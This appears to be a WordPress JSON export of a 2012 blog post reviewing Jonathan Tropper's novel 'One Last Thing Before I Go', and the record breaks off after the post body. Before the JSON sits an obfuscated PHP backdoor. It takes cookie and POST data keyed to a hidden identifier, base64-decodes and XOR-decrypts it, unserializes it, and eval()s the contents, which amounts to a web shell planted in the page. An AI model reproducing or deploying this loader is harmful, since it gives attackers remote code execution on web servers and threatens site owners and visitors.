$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1988,"date":"2012-11-15T12:29:50","date_gmt":"2012-11-15T17:29:50","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1988"},"modified":"2012-11-15T12:29:50","modified_gmt":"2012-11-15T17:29:50","slug":"book-review-one-last-thing-before-i-go","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1988","title":{"rendered":"Book Review: One Last Thing Before I Go"},"content":{"rendered":"

<\/p>I expected to spend today in a delightful state as I prepared to go listen to Jonathan Tropper speak in Harrisburg after work. The acclaimed novelist has an appearance there tonight.\n

I can\u2019t make it (and have a good excuse \u2013 I am in a play tonight), but the reminder on my calendar of his appearance kickstarted me into finally writing my review of \u201cOne Last Thing Before I Go<\/a>,\u201d his most recent book. I actually finished reading it more than a month ago, but have been horribly procrastinate-y on matters such as this.<\/p>\n

$\"\"$ <\/a>Going into the book, I knew I would love it. That\u2019s just the deal with Tropper books and me. Ever since I found \u201c The Book of Joe<\/a>\u201d on a local bookstore shelf, I have devoured everything he wrote. That one left me a little wanting, but everything else has delivered and thensome. So if you\u2019re looking for advice on whether you should read this book, let me simply say \u201cyes, yes, yes, yes, yes.\u201d And read all his other stuff too. I don\u2019t usually get this way with authors, but Tropper has never let me down.<\/p>\n

The story of\u00a0Drew Silver and the existential crisis which comes with tragic medical news hits every level of emotion that Tropper explores. There is sadness for his dilemma, shock at how he handles it, humor at the people around him and glee at how he embraces the new version of life he chooses to concoct.<\/p>\n

The characters, as always, ring true to life, which allows the absurd situations typical of a Tropper story to develop naturally. I don\u2019t know if this was intentional, but I saw a lot of Louis CK in Drew. That might have a lot to do with the caustic relationship he has with most everyone, which is tempered by the tenderness he feels when he discovers his daughter\u2019s pregnancy. Sure, Drew doesn\u2019t always deal with that development well, but I kind of expect that Louis won\u2019t if one of his kids gets knocked up right before she leaves for college.<\/p>\n

The medical mystery which leads to Drew\u2019s brutal honesty could have turned into an eye-rolling\u00a0narrative\u00a0crutch for some writers, but I thought Tropper wielded it just the way he needed to in order to advance the story. Even though I knew the main character had these bouts which led him to\u00a0unknowingly\u00a0speak his thoughts out loud, I continued to wonder at times whether it was\u00a0actually\u00a0happening. That\u2019s quality writing.<\/p>\n<\/body>","protected":false},"excerpt":{"rendered":"